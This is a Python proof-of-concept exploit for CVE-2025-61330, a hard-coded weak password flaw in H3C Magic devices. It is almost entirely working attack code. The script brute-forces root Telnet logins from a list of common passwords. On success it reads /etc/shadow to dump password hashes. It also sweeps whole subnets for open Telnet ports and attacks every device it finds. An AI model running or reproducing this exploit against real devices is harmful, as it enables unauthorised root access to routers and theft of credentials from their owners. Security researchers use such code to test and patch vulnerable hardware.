# CVE-2025-61330 PoC - H3C Magic Hard-coded Weak Password Exploit
# Description: Exploits hard-coded weak password in H3C Magic devices via Telnet
import telnetlib
import socket
def exploit_h3c_magic(target_ip, port=23):
"""
Attempt to exploit CVE-2025-61330 by connecting via Telnet
using hard-coded weak credentials.
"""
# Known hard-coded weak passwords for H3C Magic devices
weak_passwords = [
"", # Empty password
"admin",
"root",
"h3c",
"magic",
"1234",
"12345",
"123456",
"password",
"admin123",
"root123",
"huawei",
"H3C",
"test",
"user",
"default",
"public",
"private",
"system",
"manager"
]
for password in weak_passwords:
try:
print(f"[*] Trying password: '{password}' on {target_ip}:{port}")
# Establish Telnet connection
tn = telnetlib.Telnet(target_ip, port, timeout=10)
# Wait for login prompt
tn.read_until(b"login:", timeout=5)
tn.write(b"root\n")
# Wait for password prompt
tn.read_until(b"Password:", timeout=5)
tn.write(password.encode() + b"\n")
# Read response
response = tn.read_until(b"$", timeout=5)
if b"$" in response or b"#" in response or b">" in response:
print(f"[+] SUCCESS! Logged in with password: '{password}'")
# Execute commands to verify root access
tn.write(b"id\n")
output = tn.read_until(b"$", timeout=5)
print(f"[+] Command output: {output.decode()}")
tn.write(b"whoami\n")
output = tn.read_until(b"$", timeout=5)
print(f"[+] Current user: {output.decode()}")
tn.write(b"cat /etc/shadow\n")
output = tn.read_until(b"$", timeout=5)
print(f"[+] Shadow file: {output.decode()}")
tn.close()
return True
tn.close()
except (socket.timeout, EOFError, ConnectionRefusedError) as e:
print(f"[-] Connection failed: {e}")
continue
except Exception as e:
print(f"[-] Error: {e}")
continue
print("[-] All password attempts failed")
return False
def scan_and_exploit(target_subnet):
"""
Scan a subnet for vulnerable H3C Magic devices and exploit them.
"""
import ipaddress
network = ipaddress.ip_network(target_subnet, strict=False)
for ip in network.hosts():
ip_str = str(ip)
print(f"\n[*] Scanning {ip_str}...")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((ip_str, 23))
sock.close()
if result == 0:
print(f"[+] Telnet port open on {ip_str}")
exploit_h3c_magic(ip_str)
except Exception as e:
pass
# Usage example:
# exploit_h3c_magic("192.168.1.1")
# scan_and_exploit("192.168.1.0/24")
if __name__ == "__main__":
import sys
if len(sys.argv) > 1:
target = sys.argv[1]
exploit_h3c_magic(target)
else:
print("Usage: python poc.py <target_ip>")